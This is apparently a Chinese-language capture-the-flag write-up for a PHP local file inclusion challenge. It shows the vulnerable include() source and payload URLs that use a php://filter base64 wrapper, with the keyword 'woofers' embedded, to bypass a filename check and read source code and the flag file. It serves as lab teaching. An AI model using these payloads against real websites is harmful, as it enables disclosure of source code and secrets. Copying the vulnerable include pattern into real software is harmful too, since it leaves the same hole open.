01
题目简介
02
解题步骤
启动靶机

随便点击按钮看一下是否存在提示

发现url进行传参了,猜测可能是sql注入,先随便构造一下
/index.php?category=woofers'发现出现报错了,报错中出现了,文件路径,并且woofers后面自动加上了.php的后缀!我们猜测是使用了文件包含。

我们这里使用伪协议去读一下index的源码,这里不能加php的后缀,因为上面说过会自动填充的
/index.php?category=php://filter/convert.base64-encode/resource=index
解码后的代码如下
<?php
$file = $_GET['category'];
if (isset($file)) {
if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {
include($file . '.php');
} else {
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>使用GET方法获取category,赋给变量 $file,并且限定了传参的文件,否则输出报错信息,知道以上信息,我们就可以构造payload了
/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
解码之后就能得到flag了
